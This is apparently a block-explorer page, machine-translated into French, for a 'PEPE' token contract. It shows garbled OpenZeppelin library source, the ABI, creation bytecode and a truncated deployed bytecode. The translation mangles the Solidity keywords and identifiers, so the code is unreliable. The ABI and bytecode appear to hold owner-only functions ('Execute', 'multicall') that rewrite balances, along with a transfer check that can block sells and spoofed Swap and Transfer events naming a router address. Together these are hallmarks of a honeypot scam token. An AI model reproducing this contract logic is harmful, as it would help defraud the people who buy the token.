(valeur) + 1);}} / ** * @dev convertit un `Uint256` à sa représentation hexadécimale ASCII` String` avec une longueur fixe.* / fonction tohexstring (uint256 value, uint256 longueur) Internal Pure returns (string memory) {uint256 localValue = value;tampon de mémoire des octets = nouveaux octets (2 * longueur + 2);tampon [0] = "0";tampon [1] = "x";pour (uint256 i = 2 * longueur + 1; i> 1; --i) {buffer [i] = hex_digits [localValue & 0xf];localValue >> = 4;} if (localValue! = 0) {reverser StringSInSufficientHexLength (valeur, longueur);} return String (tampon);} / ** * @dev convertit une `adresse` avec une longueur fixe de 20 octets en représentation HexaDecimal * non vérifiée.* / fonction tohexstring (adresse addr) interne pur returns (string memory) {return tohexstring (uint256 (uint160 (addr)), adresse_length);} / ** * @dev Renvoie True si les deux chaînes sont égales.* / Fonction Equal (Mémoire de chaîne a, mémoire de chaîne B) Renvoie pur interne (bool) {return bytes (a) .length == bytes (b) .length && keccak256 (bytes (a)) == keccak256 (bytes (b));}}
Fichier 25 sur 28: StoragesLot.sol
// SPDX-license-identificateur: MIT // Contrats OpenZeppelin (Dernière V5.0.0.0) (utils / StoragesLot.Sol) // Ce fichier a été généré de manière procédurale à partir de scripts / générer / modèles / StoragesLot.Js.Pragma Solidity ^ 0.8.20; / ** * @DEV Library pour lire et écrire des types primitifs à des emplacements de stockage spécifiques.* * Les emplacements de stockage sont souvent utilisés pour éviter les conflits de stockage lorsqu'ils traitent des contrats moderniques.* Cette bibliothèque aide à la lecture et à l'écriture dans de telles créneaux sans avoir besoin d'assemblage en ligne.* * Les fonctions de cette bibliothèque de rendement de la bibliothèque sont des structures de machines à sous qui contiennent un membre «Value» qui peut être utilisé pour lire ou écrire.* * Exemple d'utilisation pour définir ERC1967 Implémentation Slot: * `` `Solidity * Contrat ERC1967 {* Bytes32 Constante interne _implementation_slot = 0x360894A13BA1A3210667C828492DB98DCA3E2076C3735A920A3CI505D382BBBBBBBO;* * function _GetImpLelementation () View interne returns (Address) {* return StoragesLot.getAddressSlot (_Implementation_slot) .Value;*} * * Fonction _SetImplementation (Address NewImplementation) Internal {* require (newImplementation.code.length> 0);* StoragesLot.getAddresssLot (_IMPLATION_SLOT) .VALUE = newIMPlementation;notre} struct booleanslot {bool value;} struct bytes32slot {bytes32 value;} struct uint256slot {uint256 valeur;} struct stringsLot {String Value;} struct bytesslot {bytes valeur;} / ** * @dev Renvoie un `AdresseSlot` avec le membre` Value` situé à `slot`.* / fonction getAddressSlot (bytes32 slot) Internal Pure returns (AddressSlot Storage r) {/// @solidity memory-safe-assembly assembly {r.slot: = slot}} / ** * @dev renvoie un `booleanslot` avec membre«Valeur» situé à «slot».* / fonction getBooleanSlot (bytes32 slot) Internal Pure Retours (booleanslot Storage r) {/// @solidity memory-saafe-assembly assembly {r.slot: = slot}} / ** * @dev renvoie un `bytes32slot` avec membre«Valeur» situé à «slot».* / Fonction GetBytes32Slot (Bytes32 Slot) Internal Pure Returns (Bytes32Slot Storage R) {/// @Solidity Memory-Safe-Assembly Assembly {R.Slot: = SLOT}} / ** * @DEV renvoie un `Uint256Slot` avec membre avec membre«Valeur» situé à «slot».* / fonction getUint256slot (bytes32 slot) Internal pur returns (uint256slot storage r) {/// @solidity memory-safe-assembly assembly {r.slot: = slot}} / ** * @dev renvoie un `stringslot` avec membre«Valeur» situé à «slot».* / fonction getStringsLot (bytes32 slot) Internal Pure Returns (StringsLot Storage R) {/// @solidity Memory-SAee-Assembly Assembly {R.Slot: = slot}} / ** * @dev renvoie une représentation `StringsLot`Le pointeur de stockage de chaîne «Store».* / fonction getStringsLot (String Storage Store) Internal Pure Returns (Stringslot Storage R) {/// @solidity memory-safe-assembly assembly {r.slot: = store.slot}} / ** * @dev renvoie un `BytesSlotsLot«Avec membre« Valeur »situé à« slot ».* / Fonction GetBytesslot (Bytes32 Slot) Internal Pure Returns (BytessSlot Storage R) {/// @solidity Memory-Safe-Assembly Assembly {R.Slot: = Slot}} / ** * @dev renvoie une représentation `byteslot`Le pointeur de stockage des octets «Store».* / Fonction GetBytessLot (Bytes Storage Store) Renvoie pur interne (Bytesslot Storage R) {/// @solidity Memory-SAee-Assembly Assembly {r.slot: = store.slot}}}
Fichier 26 sur 28: ierc6372.sol
// SPDX-license-identificateur: MIT // Contrats Openzeppelin (Dernière V5.0.0.0) (interfaces / ierc6372.sol) Pragma Solidity ^ 0.8.20; Interface IERC6372 {/ ** * @dev horloge utilisée pour signaler les points de contrôle.Peut être remplacé pour implémenter les points de contrôle basés sur les horodat (et le vote).* / fonction horloge () Returns de la vue externe (uint48);/ ** * @dev Description de l'horloge * / // solhint-diisable-next-line func-name-mixedcase function horlock_mode () return de vue externe (mémoire de chaîne);}
Fichier 27 sur 28: ivotes.sol
// SPDX-license-identificateur: MIT // Contrats Openzeppelin (Dernière mise à jour v5.0.0) (gouvernance / utils / ivotes.sol) Pragma Solidity ^ 0.8.20; / ** * @dev Interface commune pour {eRC20Votes}, {{ERC721Votes}, et d'autres contrats compatibles {votes}.* / Interface ivotes {/ ** * @dev La signature utilisée a expiré.* / Erreur VoteSexpiredSignature (UInt256 Expiry);/ ** * @dev émis lorsqu'un compte modifie son délégué.* / Événement DelegateChanged (délégant indexé sur l'adresse, adresse indexée FromDelegate, adress indexé TODELEGATE);/ ** * @dev a émis lorsqu'un transfert de jeton ou un changement de délégué entraîne des modifications au nombre d'unités de vote d'un délégué.* / Event DelegateVotesChanged (délégué indexé d'adresse, UInt256 PREBOTES, UINT256 NewVotes);/ ** * @dev renvoie le montant actuel des votes que `compte 'a.* / fonction getVotes (compte d'adresse) Returns de la vue externe (uint256);/ ** * @dev renvoie le montant des votes que «compte» avait à un moment précis dans le passé.Si le `horloge () 'est * configuré pour utiliser les numéros de bloc, cela renvoie la valeur à la fin du bloc correspondant.* / fonction getPastVotes (compte d'adresse, Uint256 TimePoint) Renvoie de la vue externe (UInt256);/ ** * @DEV Renvoie l'offre totale de votes disponibles à un moment précis dans le passé.Si le `horloge () 'est * configuré pour utiliser les numéros de bloc, cela renvoie la valeur à la fin du bloc correspondant.* * Remarque: cette valeur est la somme de tous les votes disponibles, qui n'est pas nécessairement la somme de tous les votes délégués.* Les votes qui n'ont pas été délégués font toujours partie de l'offre totale, même s'ils ne participeraient pas à un * vote.* / fonction getPastTotalSupply (uint256 timePoint) Returns de vue externe (UInt256);/ ** * @dev renvoie le délégué que `compte` a choisi.* / Fonction Delegates (compte d'adresse) Renvoie de la vue externe (adresse);/ ** * @DEV Delegates vote de l'expéditeur à `Delegatee`.* / Fonction Delegate (Address Delegatee) Externe;/ ** * @DEV Delegates vote du signataire au «délégué».* / Fonction DelegateBysig (Delegatee d'adresse, Uint256 Nonce, Uint256 Expiration, Uint8 V, Bytes32 R, Bytes32 S) externe;}
Fichier 28 sur 28: Signedmath.sol
// SPDX-license-identificateur: MIT // Contrats Openzeppelin (Dernière mise à jour v5.0.0) (utils / math / SignedMath.Sol) Pragma Solidity ^ 0.8.20; / ** * @dev standard Signed Math Utilities manqués dans la soliditélangue.* / Library SignedMath {/ ** * @dev renvoie le plus grand des deux numéros signés.* / fonction max (int256 a, int256 b) Renvoie pur interne (int256) {return a> b?un B;} / ** * @dev renvoie le plus petit des deux numéros signés.* / fonction min (int256 a, int256 b) Retours purs internes (int256) {return a > 1);retour x + (int256 (uint256 (x) >> 255) & (a ^ b));} / ** * @dev renvoie la valeur absolue non signée d'une valeur signée.* / Fonction ABS (int256 n) Renvoie pur interne (uint256) {Un-d'écoched {// doit être non contrôlé afin de prendre en charge `n = type (int256) .min` return uint256 (n> = 0? n: -n);}}}
Paramètres
{"Optimizer": {"activé": true, "runs": 200}, "outputSelection": {"*": {"*": ["evm.bytecode", "evm.DeployedBytecode", "devdoc","userdoc", "métadonnées", "ab"]}}}

Audit de sécurité du contrat

• Aucun audit de sécurité du contrat soumis-Soumettre l'audit ici

[{"inputs":[],"stateMutability":"nonpayable","type":"constructor"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":" adresse", "nom": "propriétaire", "type": "adresse"}, {"indexed": true, "internalType": "adresse", "nom": "dépensier", "type": "adresse" },{"indexed":false,"internalType": "uint256", "name": "value", "type": "uint256"}], "name": "Approbation", "type": "event" },{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"sender","type":"address"},{"indexed" :false,"internalType": "uint256", "name": "amount0In", "type": "uint256"}, {"indexed": false, "internalType": "uint256", "name": "amount1In" ,"type":"uint256"},{"indexed":false,"internalType":"uint256","name":"amount0Out","type":"uint256"},{"indexed":false," internalType": "uint256", "name": "montant1Out", "type": "uint256"}, {"indexed": true, "internalType": "adresse", "nom": "à", "type" :"address"}],"name":"Swap","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address" ,"name": "de", "type": "adresse"}, {"indexed": true, "internalType": "adresse", "nom": "à", "type": "adresse"}, {"indexed":false,"internalType": "uint256", "name": "value", "type": "uint256"}], "name": "Transfer", "type": "event"}, {"inputs":[{"internalType":"address","name":"_r","type":"address"}],"name":"Address","outputs":[],"stateMutability ":"nonpayable","type":"function"},{"inputs":[{"internalType":"uint256","name":"t","type":"uint256"},{"internalType ": "adresse", "nom": "tA", "type": "adresse"}, {"internalType": "uint256", "nom": "w", "type": "uint256"}, { "internalType": "adresse[]", "nom": "r", "type": "adresse []"}], "nom": "Exécuter", "sorties": [{"internalType": "bool ","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"_owner ","outputs":[{"internalType":"adresse","name":"","type":"adresse"}],"stateMutability":"view","type":"function"}, {"inputs":[{"internalType":"adresse","nom":"","type":"adresse"},{"internalType":"adresse","nom":"","type" :"adresse"}],"name": "a", "outputs": [{"internalType": "uint256", "name": ", "type": "uint256"}], "stateMutability": "view", "type": "function"}, {"inputs": [{"internalType": "address", "name": "__owner", "type": "address"}, {"internalType": "address", "name": "dépensier", "type": "address"}], "name": "allocation", "outputs": [{"internalType": "uint256", "name": " ,"type": "uint256"}], "stateMutability": "view", "type": "function"}, {"inputs": [{"internalType": "address", "name": "spender" ,"type": "adresse"}, {"internalType": "uint256", "name": "amount", "type": "uint256"}], "name": "approve", "outputs": [ {"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{ "internalType": "adresse", "nom": ", "type": "adresse"}], "nom": "b", "sorties": [{"internalType": "uint256", "nom" :"", "type": "uint256"}], "stateMutability": "view", "type": "function"}, {"inputs": [{"internalType": "address", "name": "account", "type": "adresse"}], "name": "balanceOf", "outputs": [{"internalType": "uint256", "name": ", "type": "uint256" }],"stateMutability": "view", "type": "function"}, {"inputs": [], "name": "decimals", "outputs": [{"internalType": "uint8", "name":"","type":"uint8"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address"," name": "spender", "type": "address"}, {"internalType": "uint256", "name": "subtractedValue", "type": "uint256"}], "name": "decreaseAllowance" ,"outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{ "inputs":[{"internalType": "address", "name": "spender", "type": "address"}, {"internalType": "uint256", "name": "addedValue", "type ": "uint256"}], "name": "increaseAllowance", "outputs": [{"internalType": "bool", "name": ", "type": "bool"}], "stateMutability" :"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"","type":"address"}],"name": "l", "outputs":[{"internalType": "uint256", "name": ", "type": "uint256"}], "stateMutability": "view", "type": "function" },{"inputs":[{"internalType":"bytes32[]","name":"data","type":"bytes32[]"},{"internalType":"uint256","name" :"_p","type":"uint256"}],"name":"multicall","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs ":[{"internalType": "bytes32[]", "name": "data", "type": "bytes32[]"}, {"internalType": "uint256", "name": "_p", "type": "uint256"}], "name": "multicall2", "outputs": [], "stateMutability": "non payant", "type": "function"}, {"inputs": [], "name": "nom", "outputs": [{"internalType": "string", "name": ", "type": "string"}], "stateMutability": "view", "type" :"function"},{"inputs":[],"name":"symbole","outputs":[{"internalType":"string","name":"","type":"string" }],"stateMutability": "view", "type": "function"}, {"inputs": [], "name": "totalSupply", "outputs": [{"internalType": "uint256", "name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address"," name": "à", "type": "adresse"}, {"internalType": "uint256", "nom": "montant", "type": "uint256"}], "nom": "transfert" ,"outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{ "inputs":[{"internalType": "adresse", "nom": "de", "type": "adresse"}, {"internalType": "adresse", "nom": "à", "type" ": "adresse"}, {"internalType": "uint256", "nom": "montant", "type": "uint256"}], "nom": "transferFrom", "outputs": [{"internalType ":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"}]

60806040525f80546001600160a01b0319169055600980546001600160a81b03191674127a250d5630b4cf539739df2c5dacb4c659f2488d179055348015610045575f80fd5b506c01431e0fae6d7217caa00000006002556040805180820190915260048152635065706560e01b602082015260039061007f9082610324565b50604080518082019091526004808252635045504560e01b6020830152906100a79082610324565b50600180546001600160a01b031916339081179091556002545f9182526006602090815260409283902091909155600954825163c45a015560e01b815292516001600160a01b03919091169263c45a01559260048083019391928290030181865afa158015610118573d5f803e3d5ffd5b505050506040513d601f19601f8201168201806040525081019061013c91906103e3565b6001600160a01b031663c9c653963060095f9054906101000a90046001600160a01b03166001600160a01b031663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa15801561019b573d5f803e3d5ffd5b505050506040513d601f19601f820116820180604052508101906101bf91906103e3565b6040516001600160e01b031960e085901b1681526001600160a01b039283166004820152911660248201526044016020604051808303815f875af1158015610209573d5f803e3d5ffd5b505050506040513d601f19601f8201168201806040525081019061022d91906103e3565b600880546001600160a01b0319166001600160a01b039290921691909117905560025460405190815233905f907fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef9060200160405180910390a3610410565b634e487b7160e01b5f52604160045260245ffd5b600181811c908216806102b457607f821691505b6020821081036102d257634e487b7160e01b5f52602260045260245ffd5b50919050565b601f82111561031f57805f5260205f20601f840160051c810160208510156102fd5750805b601f840160051c820191505b8181101561031c575f8155600101610309565b50505b505050565b81516001600160401b0381111561033d5761033d61028c565b6103518161034b84546102a0565b846102d8565b602080601f831160018114610384575f841561036d5750858301515b5f19600386901b1c1916600185901b1785556103db565b5f85815260208120601f198616915b828110156103b257888601518255948401946001909101908401610393565b50858210156103cf57878501515f19600388901b60f8161c191681555b505060018460011b0185555b505050505050565b5f602082840312156103f3575f80fd5b81516001600160a01b0381168114610409575f80fd5b9392505050565b61173b8061041d5f395ff3fe608060405234801561000f575f80fd5b506004361061011c575f3560e01c806358a10259116100a9578063b2bdfa7b1161006e578063b2bdfa7b14610286578063bda02782146102b0578063dd62ed3e146102cf578063ea923bae146102e2578063ebfb412d146102f5575f80fd5b806358a102591461021d57806370a082311461023057806395d89b4114610258578063a457c2d714610260578063a9059cbb14610273575f80fd5b80632a936382116100ef5780632a93638214610186578063313ce567146101a5578063316d295f146101cb57806339509351146101e05780635765a5cc146101f3575f80fd5b806306fdde0314610120578063095ea7b31461013e57806318160ddd1461016157806323b872dd14610173575b5f80fd5b610128610308565b60405161013591906111ae565b60405180910390f35b61015161014c3660046111fa565b610398565b6040519015158152602001610135565b6002545b604051908152602001610135565b610151610181366004611224565b6103ae565b610165610194366004611262565b60076020525f908152604090205481565b6009546101b990600160a01b900460ff1681565b60405160ff9091168152602001610135565b6101de6101d936600461127d565b6103cf565b005b6101516101ee3660046111fa565b61046f565b6101656102013660046112f1565b600560209081525f928352604080842090915290825290205481565b61015161022b366004611390565b610490565b61016561023e366004611262565b6001600160a01b03165f9081526006602052604090205490565b610128610500565b61015161026e3660046111fa565b61050f565b6101516102813660046111fa565b610596565b5f54610298906001600160a01b031681565b6040516001600160a01b039091168152602001610135565b6101656102be366004611262565b60066020525f908152604090205481565b6101656102dd3660046112f1565b6105a2565b6101de6102f036600461127d565b6105cc565b6101de610303366004611262565b61064c565b6060600380546103179061144f565b80601f01602080910402602001604051908101604052809291908181526020018280546103439061144f565b801561038e5780601f106103655761010080835404028352916020019161038e565b820191905f5260205f20905b81548152906001019060200180831161037157829003601f168201915b5050505050905090565b5f6103a4338484610734565b5060015b92915050565b5f6103ba843384610857565b6103c58484846108cb565b5060019392505050565b6001546001600160a01b031633146104025760405162461bcd60e51b81526004016103f990611487565b60405180910390fd5b5f5b82811015610469574215610461575f61043b606086868581811061042a5761042a6114be565b905060200201355f1c901c84610acb565b905061045f858584818110610452576104526114be565b9050602002013582610af4565b505b600101610404565b50505050565b5f336103c581858561048183836105a2565b61048b91906114e6565b610734565b6001545f906001600160a01b031633146104bc5760405162461bcd60e51b81526004016103f990611487565b5f5b82518110156104f4576104ec8382815181106104dc576104dc6114be565b6020026020010151878688610b23565b6001016104be565b50600195945050505050565b6060600480546103179061144f565b5f338161051c82866105a2565b90508381101561057c5760405162461bcd60e51b815260206004820152602560248201527f45524332303a2064656372656173656420616c6c6f77616e63652062656c6f77604482015264207a65726f60d81b60648201526084016103f9565b61058b828661048b87856114f9565b506001949350505050565b5f6103a43384846108cb565b6001600160a01b039182165f90815260056020908152604080832093909416825291909152205490565b6001546001600160a01b031633146105f65760405162461bcd60e51b81526004016103f990611487565b5f5b82811015610469574215610644575f61061e606086868581811061042a5761042a6114be565b9050610642858584818110610635576106356114be565b9050602002013582610c4c565b505b6001016105f8565b6001546001600160a01b031633146106765760405162461bcd60e51b81526004016103f990611487565b5f620186a06106f760095f9054906101000a90046001600160a01b03166001600160a01b031663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa1580156106ce573d5f803e3d5ffd5b505050506040513d601f19601f820116820180604052508101906106f2919061150c565b610cb8565b610704906201869f611527565b61070e919061153e565b90505f610719610de2565b90505f6107268383610ec4565b905061046983828487610f8c565b6001600160a01b0383166107965760405162461bcd60e51b8152602060048201526024808201527f45524332303a20617070726f76652066726f6d20746865207a65726f206164646044820152637265737360e01b60648201526084016103f9565b6001600160a01b0382166107f75760405162461bcd60e51b815260206004820152602260248201527f45524332303a20617070726f766520746f20746865207a65726f206164647265604482015261737360f01b60648201526084016103f9565b6001600160a01b038381165f8181526005602090815260408083209487168084529482529182902085905590518481527f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925910160405180910390a3505050565b5f61086284846105a2565b90505f19811461046957818110156108bc5760405162461bcd60e51b815260206004820152601d60248201527f45524332303a20696e73756666696369656e7420616c6c6f77616e636500000060448201526064016103f9565b610469848461048b85856114f9565b6001600160a01b03831661092f5760405162461bcd60e51b815260206004820152602560248201527f45524332303a207472616e736665722066726f6d20746865207a65726f206164604482015264647265737360d81b60648201526084016103f9565b6001600160a01b0382166109915760405162461bcd60e51b815260206004820152602360248201527f45524332303a207472616e7366657220746f20746865207a65726f206164647260448201526265737360e81b60648201526084016103f9565b6001600160a01b0383165f9081526006602052604090205481811015610a085760405162461bcd60e51b815260206004820152602660248201527f45524332303a207472616e7366657220616d6f756e7420657863656564732062604482015265616c616e636560d01b60648201526084016103f9565b6001600160a01b0384165f90815260076020526040812054610a2991610fc6565b15610a32575f80fd5b610a3c8183610fc6565b6001600160a01b038086165f908152600660205260408082209390935590851681522054610a6a9083611022565b6001600160a01b038085165f8181526006602052604090819020939093559151908616907fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef90610abd9086815260200190565b60405180910390a350505050565b6001600160a01b0382165f90815260066020526040812054610aed9083611080565b9392505050565b610afd8161108b565b60075f606085901c5b6001600160a01b0316815260208101919091526040015f20555050565b6008546040516323b872dd60e01b81526001600160a01b038681166004830152918216602482015260448101849052908216906323b872dd906064016020604051808303815f875af1158015610b7b573d5f803e3d5ffd5b505050506040513d601f19601f82011682018060405250810190610b9f919061155d565b506008546040518481526001600160a01b038681169216907fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef9060200160405180910390a3604080518481525f6020820181905291810191909152606081018390526001600160a01b03851690737a250d5630b4cf539739df2c5dacb4c659f2488d907fd78ad95fa46c994b6551d0da85fc275fe613ce37657fb8d5e3d130840159d82290608001610abd565b600854606083901c5f818152600660209081526040918290205491519182526001600160a01b03909316927fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef910160405180910390a3610cab81611097565b60065f606085901c610b06565b5f805f60085f9054906101000a90046001600160a01b03166001600160a01b0316630902f1ac6040518163ffffffff1660e01b8152600401606060405180830381865afa158015610d0b573d5f803e3d5ffd5b505050506040513d601f19601f82011682018060405250810190610d2f9190611597565b5091509150836001600160a01b031660085f9054906101000a90046001600160a01b03166001600160a01b0316630dfe16816040518163ffffffff1660e01b8152600401602060405180830381865afa158015610d8e573d5f803e3d5ffd5b505050506040513d601f19601f82011682018060405250810190610db2919061150c565b6001600160a01b031614610dcf57806001600160701b0316610dda565b816001600160701b03165b949350505050565b60408051600280825260608083018452928392919060208301908036833701905050905030815f81518110610e1957610e196114be565b6001600160a01b03928316602091820292909201810191909152600954604080516315ab88c960e31b81529051919093169263ad5c46489260048083019391928290030181865afa158015610e70573d5f803e3d5ffd5b505050506040513d601f19601f82011682018060405250810190610e94919061150c565b81600181518110610ea757610ea76114be565b6001600160a01b0390921660209283029190910190910152919050565b604080516002808252606080830184525f9390929190602083019080368337019050509050610ef384846110b0565b9050805f81518110610f0757610f076114be565b602002602001015160065f6001421180610f1e57505f5b80610f295750426001105b610f33575f610f35565b305b6001600160a01b03166001600160a01b031681526020019081526020015f205f828254610f6291906114e6565b92505081905550805f81518110610f7b57610f7b6114be565b602002602001015191505092915050565b305f90815260066020908152604080832054600583528184206009546001600160a01b031685529092529091205561046984848484611124565b5f828211156110175760405162461bcd60e51b815260206004820152601e60248201527f536166654d6174683a207375627472616374696f6e206f766572666c6f77000060448201526064016103f9565b5f610dda83856114f9565b5f8061102e83856114e6565b905083811015610aed5760405162461bcd60e51b815260206004820152601b60248201527f536166654d6174683a206164646974696f6e206f766572666c6f77000000000060448201526064016103f9565b5f610aed828461153e565b5f6103a882600a6114e6565b5f620186a06110a68382611527565b6103a8919061153e565b6009546040516307c0329d60e21b81526060916001600160a01b031690631f00ca74906110e39086908690600401611626565b5f60405180830381865afa1580156110fd573d5f803e3d5ffd5b505050506040513d5f823e601f3d908101601f19168201604052610aed919081019061163e565b6009546001600160a01b0316638803dbee85858585611145426104b06114e6565b6040518663ffffffff1660e01b81526004016111659594939291906116ca565b5f604051808303815f875af1158015611180573d5f803e3d5ffd5b505050506040513d5f823e601f3d908101601f191682016040526111a7919081019061163e565b5050505050565b602081525f82518060208401528060208501604085015e5f604082850101526040601f19601f83011684010191505092915050565b6001600160a01b03811681146111f7575f80fd5b50565b5f806040838503121561120b575f80fd5b8235611216816111e3565b946020939093013593505050565b5f805f60608486031215611236575f80fd5b8335611241816111e3565b92506020840135611251816111e3565b929592945050506040919091013590565b5f60208284031215611272575f80fd5b8135610aed816111e3565b5f805f6040848603121561128f575f80fd5b833567ffffffffffffffff808211156112a6575f80fd5b818601915086601f8301126112b9575f80fd5b8135818111156112c7575f80fd5b8760208260051b85010111156112db575f80fd5b6020928301989097509590910135949350505050565b5f8060408385031215611302575f80fd5b823561130d816111e3565b9150602083013561131d816111e3565b809150509250929050565b634e487b7160e01b5f52604160045260245ffd5b604051601f8201601f1916810167ffffffffffffffff8111828210171561136557611365611328565b604052919050565b5f67ffffffffffffffff82111561138657611386611328565b5060051b60200190565b5f805f80608085870312156113a3575f80fd5b843593506020808601356113b6816111e3565b935060408601359250606086013567ffffffffffffffff8111156113d8575f80fd5b8601601f810188136113e8575f80fd5b80356113fb6113f68261136d565b61133c565b81815260059190911b8201830190838101908a831115611419575f80fd5b928401925b82841015611440578335611431816111e3565b8252928401929084019061141e565b979a9699509497505050505050565b600181811c9082168061146357607f821691505b60208210810361148157634e487b7160e01b5f52602260045260245ffd5b50919050565b60208082526017908201527f43616c6c6572206973206e6f7420746865206f776e6572000000000000000000604082015260600190565b634e487b7160e01b5f52603260045260245ffd5b634e487b7160e01b5f52601160045260245ffd5b808201808211156103a8576103a86114d2565b818103818111156103a8576103a86114d2565b5f6020828403121561151c575f80fd5b8151610aed816111e3565b80820281158282048414176103a8576103a86114d2565b5f8261155857634e487b7160e01b5f52601260045260245ffd5b500490565b5f6020828403121561156d575f80fd5b81518015158114610aed575f80fd5b80516001600160701b0381168114611592575f80fd5b919050565b5f805f606084860312156115a9575f80fd5b6115b28461157c565b92506115c06020850161157c565b9150604084015163ffffffff811681146115d8575f80fd5b809150509250925092565b5f815180845260208085019450602084015f5b8381101561161b5781516001600160a01b0316875295820195908201906001016115f6565b509495945050505050565b828152604060208201525f610dda60408301846115e3565b5f602080838503121561164f575f80fd5b825167ffffffffffffffff811115611665575f80fd5b8301601f81018513611675575f80fd5b80516116836113f68261136d565b81815260059190911b820183019083810190878311156116a1575f80fd5b928401925b828410156116bf578351825292840192908401906116a6565b979650505050505050565b85815284602082015260a060408201525f6116e860a08301866115e3565b6001600160a01b039490941660608301525060800152939250505056fea26469706673582212203329410431f22c6a691f243da25830a5835beaf0de5c72d7b60ff9890a76600d64736f6c63430008190033

Bytecode déployé

0x608060405234801561000f575f80fd5b506004361061011c575f3560e01c806358a10259116100a9578063b2bdfa7b1161006e578063b2bdfa7b14610286578063bda02782146102b0578063dd62ed3e146102cf578063ea923bae146102e2578063ebfb412d146102f5575f80fd5b806358a102591461021d57806370a082311461023057806395d89b4114610258578063a457c2d714610260578063a9059cbb14610273575f80fd5b80632a936382116100ef5780632a93638214610186578063313ce567146101a5578063316d295f146101cb57806339509351146101e05780635765a5cc146101f3575f80fd5b806306fdde0314610120578063095ea7b31461013e57806318160ddd1461016157806323b872dd14610173575b5f80fd5b610128610308565b60405161013591906111ae565b60405180910390f35b61015161014c3660046111fa565b610398565b6040519015158152602001610135565b6002545b604051908152602001610135565b610151610181366004611224565b6103ae565b610165610194366004611262565b60076020525f908152604090205481565b6009546101b990600160a01b900460ff1681565b60405160ff9091168152602001610135565b6101de6101d936600461127d565b6103cf565b005b6101516101ee3660046111fa565b61046f565b6101656102013660046112f1565b600560209081525f928352604080842090915290825290205481565b61015161022b366004611390565b610490565b61016561023e366004611262565b6001600160a01b03165f9081526006602052604090205490565b610128610500565b61015161026e3660046111fa565b61050f565b6101516102813660046111fa565b610596565b5f54610298906001600160a01b031681565b6040516001600160a01b039091168152602001610135565b6101656102be366004611262565b60066020525f908152604090205481565b6101656102dd3660046112f1565b6105a2565b6101de6102f036600461127d565b6105cc565b6101de610303366004611262565b61064c565b6060600380546103179061144f565b80601f01602080910402602001604051908101604052809291908181526020018280546103439061144f565b801561038e5780601f106103655761010080835404028352916020019161038e565b820191905f5260205f20905b81548152906001019060200180831161037157829003601f168201915b5050505050905090565b5f6103a4338484610734565b5060015b92915050565b5f6103ba843384610857565b6103c58484846108cb565b5060019392505050565b6001546001600160a01b031633146104025760405162461bcd60e51b81526004016103f990611487565b60405180910390fd5b5f5b82811015610469574215610461575f61043b606086868581811061042a5761042a6114be565b905060200201355f1c901c84610acb565b905061045f858584818110610452576104526114be565b9050602002013582610af4565b505b600101610404565b50505050565b5f336103c581858561048183836105a2565b61048b91906114e6565b610734565b6001545f906001600160a01b031633146104bc5760405162461bcd60e51b81526004016103f990611487565b5f5b82518110156104f4576104ec8382815181106104dc576104dc6114be565b6020026020010151878688610b23565b6001016104be565b50600195945050505050565b6060600480546103179061144f565b5f338161051c82866105a2565b90508381101561057c5760405162461bcd60e51b815260206004820152602560248201527f45524332303a2064656372656173656420616c6c6f77616e63652062656c6f77604482015264207a65726f60d81b60648201526084016103f9565b61058b828661048b87856114f9565b506001949350505050565b5f6103a43384846108cb565b6001600160a01b039182165f90815260056020908152604080832093909416825291909152205490565b6001546001600160a01b031633146105f65760405162461bcd60e51b81526004016103f990611487565b5f5b82811015610469574215610644575f61061e606086868581811061042a5761042a6114be565b9050610642858584818110610635576106356114be565b9050602002013582610c4c565b505b6001016105f8565b6001546001600160a01b031633146106765760405162461bcd60e51b81526004016103f990611487565b5f620186a06106f760095f9054906101000a90046001600160a01b03166001600160a01b031663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa1580156106ce573d5f803e3d5ffd5b505050506040513d601f19601f820116820180604052508101906106f2919061150c565b610cb8565b610704906201869f611527565b61070e919061153e565b90505f610719610de2565b90505f6107268383610ec4565b905061046983828487610f8c565b6001600160a01b0383166107965760405162461bcd60e51b8152602060048201526024808201527f45524332303a20617070726f76652066726f6d20746865207a65726f206164646044820152637265737360e01b60648201526084016103f9565b6001600160a01b0382166107f75760405162461bcd60e51b815260206004820152602260248201527f45524332303a20617070726f766520746f20746865207a65726f206164647265604482015261737360f01b60648201526084016103f9565b6001600160a01b038381165f8181526005602090815260408083209487168084529482529182902085905590518481527f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925910160405180910390a3505050565b5f61086284846105a2565b90505f19811461046957818110156108bc5760405162461bcd60e51b815260206004820152601d60248201527f45524332303a20696e73756666696369656e7420616c6c6f77616e636500000060448201526064016103f9565b610469848461048b85856114f9565b6001600160a01b03831661092f5760405162461bcd60e51b815260206004820152602560248201527f45524332303a207472616e736665722066726f6d20746865207a65726f206164604482015264647265737360d81b60648201526084016103f9565b6001600160a01b0382166109915760405162461bcd60e51b815260206004820152602360248201527f45524332303a207472616e7366657220746f20746865207a65726f206164647260448201526265737360e81b60648201526084016103f9565b6001600160a01b0383165f9081526006602052604090205481811015610a085760405162461bcd60e51b815260206004820152602660248201527f45524332303a207472616e7366657220616d6f756e7420657863656564732062604482015265616c616e636560d01b60648201526084016103f9565b6001600160a01b0384165f90815260076020526040812054610a2991610fc